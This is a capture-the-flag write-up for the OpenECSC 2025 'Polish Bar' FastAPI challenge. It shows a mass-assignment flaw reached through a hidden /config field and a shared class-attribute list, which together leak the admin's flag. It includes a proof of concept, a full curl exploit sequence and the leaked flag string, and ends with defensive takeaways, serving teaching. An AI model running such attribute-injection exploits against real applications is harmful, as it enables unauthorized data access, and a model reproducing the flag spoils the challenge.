Note
A hidden /config form lets you copy a resolved attribute into an attacker-chosen config key. Point your alcohol_shelf at the shared _all_instances class list, call /empty so it dereferences element 0, and your config starts resolving preferred_beverage through the admin object that stores the flag.
Polish Bar - shared class-attribute object confusion to admin config leak
CTF: OpenECSC 2025 | Category: Web | Stack: Python / FastAPI, Jinja2
Challenge overview
The app is a small FastAPI profile page for drink preferences. A global sessions dict is initialized
with an admin session before any user registers:
def admin_session_setup():
session_id = str(uuid.uuid4())
sessions[session_id] = {
'username': 'admin',
'password': str(os.urandom(10).hex()),
'config': BeverageConfig(os.getenv('FLAG', 'openECSC{TEST_FLAG}'))
}
admin_session_setup()
The flag is not in a file and there is no RCE target. It is stored as the admin's
preferred_beverage, so the goal is to make our profile render the admin config.
New users get their own BeverageConfig(None):
sessions[new_session_id] = {
'username': username,
'password': password,
'config': BeverageConfig(None)
}
The dangerous config update primitive
The visible form only lets users change preferred_beverage, but the config field is just hidden HTML:
<form action="/config" method="post">
<input type="hidden" name="config" value="preferred_beverage">
<input type="text" name="value">
</form>
The endpoint trusts both fields:
@app.post("/config")
async def update_config(request: Request, config: str = Form(...), value: str = Form(...)):
session_id = request.cookies.get('session')
if session_id in sessions:
err = sessions[session_id]['config'].update_property(config, value)
update_property does not assign the submitted string directly. It first resolves value as an existing
property, then writes the resolved object into an attacker-chosen attribute name:
def get_property(self, val):
try:
if hasattr(self.alcohol_shelf, val):
return getattr(self.alcohol_shelf, val)
return getattr(self, val)
except:
return
def update_property(self, key: str, val: str):
attr = self.get_property(val)
if attr:
setattr(self, key, attr)
return
return { 'error': 'property doesn\'t exist!' }
So the primitive is:
self.<config> = self.get_property(<value>)
with both <config> and <value> controlled.
The shared _all_instances list
The class hierarchy is the confusing part:
class AlcoholShelf:
def __init__(self):
self._alcohol_shelf = ['vodka', 'schnapps', ...]
for beverage in self._alcohol_shelf:
setattr(self, beverage, str(beverage))
class PreferenceConfig(AlcoholShelf):
_all_instances = []
def __init__(self, preferred_beverage: str):
super().__init__()
self.preferred_beverage = preferred_beverage
self.alcohol_shelf = AlcoholShelf()
self.blood_alcohol_level = 1.0
BeverageConfig._all_instances.append(self)
class BeverageConfig(PreferenceConfig):
pass
_all_instances is a class attribute, so it is shared by every BeverageConfig instance. The admin is
created first, then our registered account is appended after it:
BeverageConfig._all_instances = [admin_config, our_config, ...]
Because get_property() falls back to getattr(self, val), the string _all_instances resolves to that
shared list.
Step 1 - point our shelf at all instances
Override the hidden config field and ask the app to copy _all_instances into our alcohol_shelf:
POST /config
Content-Type: application/x-www-form-urlencoded
config=alcohol_shelf&value=_all_instances
This runs:
self.alcohol_shelf = self.get_property('_all_instances')
# self.alcohol_shelf = [admin_config, our_config, ...]
At this point the profile is not useful yet. Our alcohol_shelf is only a list of objects.
Step 2 - /empty dereferences the list into the admin object
The /empty endpoint calls empty_alcohol_shelf():
def empty_alcohol_shelf(self):
if hasattr(self.alcohol_shelf, "_alcohol_shelf"):
self.alcohol_shelf._alcohol_shelf = [self.alcohol_shelf._alcohol_shelf[0]]
else:
self.alcohol_shelf = self.alcohol_shelf[0]
Normally self.alcohol_shelf is an AlcoholShelf, so the if branch keeps only one drink. After step 1,
it is a Python list, so it has no _alcohol_shelf attribute and the else branch executes:
self.alcohol_shelf = self.alcohol_shelf[0]
# self.alcohol_shelf = admin_config
The first element is the admin config because admin_session_setup() ran before registration.
Step 3 - profile rendering leaks preferred_beverage
The profile renders config.get_config():
def get_config(self):
return {
'preferred_beverage': self.get_property('preferred_beverage'),
'alcohol_shelf': self.get_beverages()
}
Now get_property('preferred_beverage') checks hasattr(self.alcohol_shelf, 'preferred_beverage') first.
Since self.alcohol_shelf is the admin's BeverageConfig, that lookup succeeds and returns the admin's
preferred beverage: the flag.
Local proof with the challenge classes:
from config import BeverageConfig
admin = BeverageConfig('FLAG')
user = BeverageConfig(None)
user.update_property('alcohol_shelf', '_all_instances')
user.empty_alcohol_shelf()
print(user.get_config()['preferred_beverage'])
# FLAG
Exploit
Full request flow:
URL=http://target
# 1) Register and keep the session cookie.
curl -s -i -c cookies.txt \
-d 'username=cnf&password=cnf' \
"$URL/register" >/dev/null
# 2) Replace our alcohol_shelf with the shared class list [admin, us, ...].
curl -s -b cookies.txt -c cookies.txt \
-d 'config=alcohol_shelf&value=_all_instances' \
"$URL/config" >/dev/null
# 3) Force empty_alcohol_shelf() into the list branch: shelf = shelf[0].
curl -s -b cookies.txt -c cookies.txt \
-X POST "$URL/empty" >/dev/null
# 4) The profile now renders admin.preferred_beverage as our preferred beverage.
curl -s -b cookies.txt "$URL/profile"
The leaked flag from the notes:
openECSC{gggrrrrrrr_ppyytthhonnn_a24f8dab2ff1}
Pitfalls
- There is no SSTI needed here. Jinja only renders the already-computed config values.
- Submitting a raw flag-like value to
/configfails becausevaluemust resolve throughget_property(); it is not assigned directly. - Stopping after
config=alcohol_shelf&value=_all_instancesonly gives a list of config objects. The/emptycall is what turns that list intoadmin_configviaself.alcohol_shelf[0]. - The order of
_all_instancesmatters. The exploit works because the admin config is created at module import before user registration.
Takeaways (generalized technique)
- Hidden fields are not authorization. If a hidden field controls an attribute name, treat it as full user input.
setattr(self, user_key, resolved_value)is a mass-assignment sink even whenresolved_valueis not directly user-controlled.- Python class attributes holding mutable objects are shared state. If instances append themselves into a shared list, any path that exposes that list can become an object-reference leak.
- Type-dependent branches (
if hasattr(obj, ...): ... else: obj = obj[0]) become dangerous when another endpoint can replaceobjwith a different type.
Sources & references
- Challenge notes:
/home/conflict/ctfs/openecsc2025/web/polish-bar/notes - Challenge source:
/home/conflict/ctfs/openecsc2025/web/polish-bar/app.py,config.py